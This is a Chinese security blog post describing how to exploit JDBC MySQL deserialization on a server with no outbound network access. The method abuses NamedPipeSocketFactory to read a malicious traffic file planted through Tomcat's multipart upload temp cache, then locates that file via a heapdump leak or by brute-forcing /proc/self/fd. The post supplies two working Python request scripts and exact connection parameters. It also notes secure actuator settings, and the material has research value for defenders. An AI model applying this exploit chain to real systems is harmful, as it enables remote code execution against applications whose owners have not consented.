JDBC-Mysql反序列化不出网利用

mapl3miss Lv2

在JDBC反序列化中提到jdbc mysql反序列化利用需要构造恶意mysql服务器,之后通过控制jdbc连接参数来连接恶意服务器,通过默认查询语句返回恶意序列化对象触发反序列化漏洞 但如果目标不出网,或者一些后台jdbc连接功能对host做了白名单,这样就不能通过上述方法去利用了

socketFactory属性

在MySQL驱动中有socketFactory这个选项,它默认值为StandardSocketFactory.class.getName()因此它接收的应该是一个类的名字

MysqlIO在mysql驱动中是一个比较核心的类,在里面有很多的处理逻辑,构造方法如下:

1
2
3
public MysqlIO(String host, int port, Properties props,
String socketFactoryClassName, MySQLConnection conn,
int socketTimeout, int useBufferRowSizeThreshold)

socketFactoryClassName是我们的重点关注参数,在createSocketFactory中实现了这样的代码,socketFactoryClassName指定的类名会被调用newInstance来实例化,且这个类必须实现了SocketFactory接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private SocketFactory createSocketFactory() throws SQLException {
try {
if (this.socketFactoryClassName == null) {
throw SQLError.createSQLException(Messages.getString("MysqlIO.75"), //$NON-NLS-1$
SQLError.SQL_STATE_UNABLE_TO_CONNECT_TO_DATASOURCE, getExceptionInterceptor());
}

return (SocketFactory) (Class.forName(this.socketFactoryClassName)
.newInstance());
} catch (Exception ex) {
SQLException sqlEx = SQLError.createSQLException(Messages.getString("MysqlIO.76") //$NON-NLS-1$
+this.socketFactoryClassName +
Messages.getString("MysqlIO.77"),
SQLError.SQL_STATE_UNABLE_TO_CONNECT_TO_DATASOURCE, getExceptionInterceptor());

sqlEx.initCause(ex);

throw sqlEx;
}
}

在初始化MysqlIO的时候createSocketFactory会被调用,用于提供一个客户端和服务器连接的方式

指定的类是必须实现了SocketFactory接口的,可以找到驱动中内置的满足条件的类,只有两个

  1. StandardSocketFactory

  2. NamedPipeSocketFactory

StandardSocketFactory这个类是默认值,它实现了TCP的连接方式连接mysql,使用这个类就需要我们通过网络连接恶意服务器;

而从NamedPipeSocketFactory类中的connect方法中看到,它使用了NamedPipeSocket并传入一个path作为参数,并且将实例化后的对象用作一个与服务器交互的通道:

使用RandomAccessFile打开并且最终使用这个文件流作为与服务器连接的IO通道

namedPipePath参数,也就是文件路径,是可以通过url控制的,这就给予了不出网利用思路:
找到一个文件上传点上传恶意流量文件,再通过socketFactory参数指定NamedPipeSocketFactory,并用namedPipePath指向恶意文件路径,充当恶意mysql服务器

注:在mysql8中限制了数据包的大小,需要加上maxAllowedPacket=74996390参数来绕过

利用

环境:java8 + jdbc-mysql8 + cc3.2.1

恶意流量包可以通过java-chains工具生成,注意jdbc-mysql版本
vulhub/java-chains: Java Vulnerability Exploitation Platform

上传恶意数据文件到目标服务器

如果web应用没有上传文件的功能点(只要能上传可控内容的文件就可以,不需要能控制文件后缀),可以利用spring web下面的文件上传缓存机制。

spring web(或者tomcat)默认使用commons-fileupload来处理文件上传的数据包,而在上传的数据超过一定阈值时会将上传的数据从内存中缓存到临时文件,在commons-fileupload的 Builder 类的构造方法中定义了一个缓冲区大小DiskFileItemFactory.DEFAULT_THRESHOLD(10240b)

1
2
3
4
5
6
public Builder() {
setBufferSize(DiskFileItemFactory.DEFAULT_THRESHOLD);
setPath(PathUtils.getTempDirectory());
setCharset(DEFAULT_CHARSET);
setCharsetDefault(DEFAULT_CHARSET);
}

而上传的数据超过这个缓冲区大小后,就会被缓存到磁盘中,但不确定文件路径,DiskFileItem类中的代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
private DiskFileItem(final String fieldName, final String contentType, final boolean isFormField, final String fileName, final int threshold,
final Path repository, final FileItemHeaders fileItemHeaders, final Charset defaultCharset) {
this.fieldName = fieldName;
this.contentType = contentType;
this.charsetDefault = defaultCharset;
this.isFormField = isFormField;
this.fileName = fileName;
this.fileItemHeaders = fileItemHeaders;
this.threshold = threshold;
this.repository = repository != null ? repository : PathUtils.getTempDirectory();
this.tempFile = this.repository.resolve(String.format("upload_%s_%s.tmp", UID, getUniqueId()));
}

可以知道PathUtils.getTempDirectory获取了一个临时目录(实际测试中使用springweb临时目录在/tmp下的tomcat的work目录中),并且拼接了一个UID值和getUniqueId(),UID是类被初始化后就固定的一个随机UUID


而getUniqueId则是自增,每次发生文件缓存都会+1

1
2
3
4
5
6
7
8
9
10
11
12
private static String getUniqueId() {
final var limit = 100_000_000;
final var current = COUNTER.getAndIncrement();
var id = Integer.toString(current);

// If you manage to get more than 100 million of ids, you'll
// start getting ids longer than 8 characters.
if (current < limit) {
id = ("00000000" + id).substring(id.length());
}
return id;
}

因此最后生成的路径如下格式:

/tmp/{tomcat_path}/work/Tomcat/localhost/ROOT/upload_{UID}_{UniqueId}.tmp

且文件上传请求结束后会被自动调用delete方法进行删除

现在可以将文件通过上传缓存的方式生成在服务器上,但是有两个问题需要解决:

  1. 每次请求完成就自动删除,且ID会自增,条件竞争非常困难

  2. 临时文件位置随机,无法直接获取

解决自动删除问题:

删除逻辑是请求结束执行删除操作,我们可以利用Content-Length:请求头设置很长的值,而实际文件大小并没有很大,会让服务器以为还有很多数据没有被发送过来,会一直等待

注意:结束标识符–xxxxxxxx–已经告诉服务器这个multipart包已经结束了,因此将最后一个结束标志的–去除,并且不建议使用burp或yakit发包,会自动修改Content-Length:还可能会主动断开连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket  
import time

payload_path = r"path_to_payload"

with open(payload_path, "rb") as f:
payload = f.read()

req = b'''POST / HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx
User-Agent: python-requests/2.32.3
Content-Length: 999999

--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="tmp.txt"

{{payload}}
--xxxxxxxx'''.replace(b"\n", b"\r\n").replace(b"{{payload}}", payload)
skt = socket.socket()
skt.connect(("127.0.0.1", 8085))
skt.sendall(req)
time.sleep(999)

文件成功留存
windows临时文件位置C:\Users\用户\AppData\Local\Temp\tomcat……\work\Tomcat\ip\ROOT

Linux:/tmp/{tomcat_path}/work/Tomcat/localhost/ROOT/upload_{UID}_{UniqueId}.tmp

解决文件位置问题:

利用heapdump泄露

如果目标有heapdump泄露漏洞,可以利用此漏洞分析heapdump文件找到上传文件路径

环境配置
pom.xml中引入actuator依赖

1
2
3
4
<dependency>  
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

配置不安全配置

1
2
management.endpoints.web.exposure.include=*  
management.endpoint.heapdump.enabled=true

安全配置应该为

1
2
3
management.endpoints.web.exposure.include=health,info//白名单
management.endpoints.web.exposure.exclude=heapdump,threaddump,env,configprops,beans,mappings//黑名单
management.endpoint.heapdump.enabled=false//直接从根上禁用 JVM 堆导出

发文件上传包之后访问/actuator/heapdump拿到heapdump文件

用工具解析,找到上传文件的路径
这里用的是visualVM
路径信息在org.apache.tomcat.util.http.fileupload.disk.DiskFileItem这个类下面

如果是直接用的heapdump自动扫描工具如(JDumpSpider)是扫不到这个临时文件信息的

最多也就只能看到这些信息

在我们分析heapdump的时间里面,可能已经触发了超时机制,连接被强制断开并删除临时文件了。但是我们可以预判下一个临时文件的名字,只需要修改/tmp/{tomcat_path}/work/Tomcat/localhost/ROOT/upload_{UID}_{UniqueId}.tmp中的UniqueId + 1即可。

利用Linux的/proc/self/fd/xx(不需要其他漏洞打配合)

Linux下,应用程序打开一个文件,并且在没有关闭的情况下/proc/self/fd/xx会生成一个文件描述符,如果打开的是一个文件,这个文件描述符实际上指向的是这个文件的具体路径。

所以在利用的时候文件路径只需要写/proc/self/fd/xx就可以(xx需要爆破一下,很好爆破)

但需要注意的是文件需要是打开状态,而像上面那样写的话因为文件后面有–xxxxxxxx结束符,文件参数上传完之后就会关闭,所以需要把结束符删掉来让应用以为文件内容还没写完而保持打开状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket  
import time

payload_path = r"path_to_payload"

with open(payload_path, "rb") as f:
payload = f.read()

req = b'''POST / HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx
User-Agent: python-requests/2.32.3
Content-Length: 999999

--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="tmp.txt"

{{payload}}
'''.replace(b"\n", b"\r\n").replace(b"{{payload}}", payload)
skt = socket.socket()
skt.connect(("127.0.0.1", 8085))
skt.sendall(req)
time.sleep(999)

这样在没有heapdump泄露的情况下也能完成攻击,对于需要本地文件的攻击也都可以试试这个思路

  • Title: JDBC-Mysql反序列化不出网利用
  • Author: mapl3miss
  • Created at : 2025-09-19 12:22:07
  • Updated at : 2026-01-02 23:24:13
  • Link: https://redefine.ohevan.com/2025/09/19/JDBC-Mysql反序列化不出网利用/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments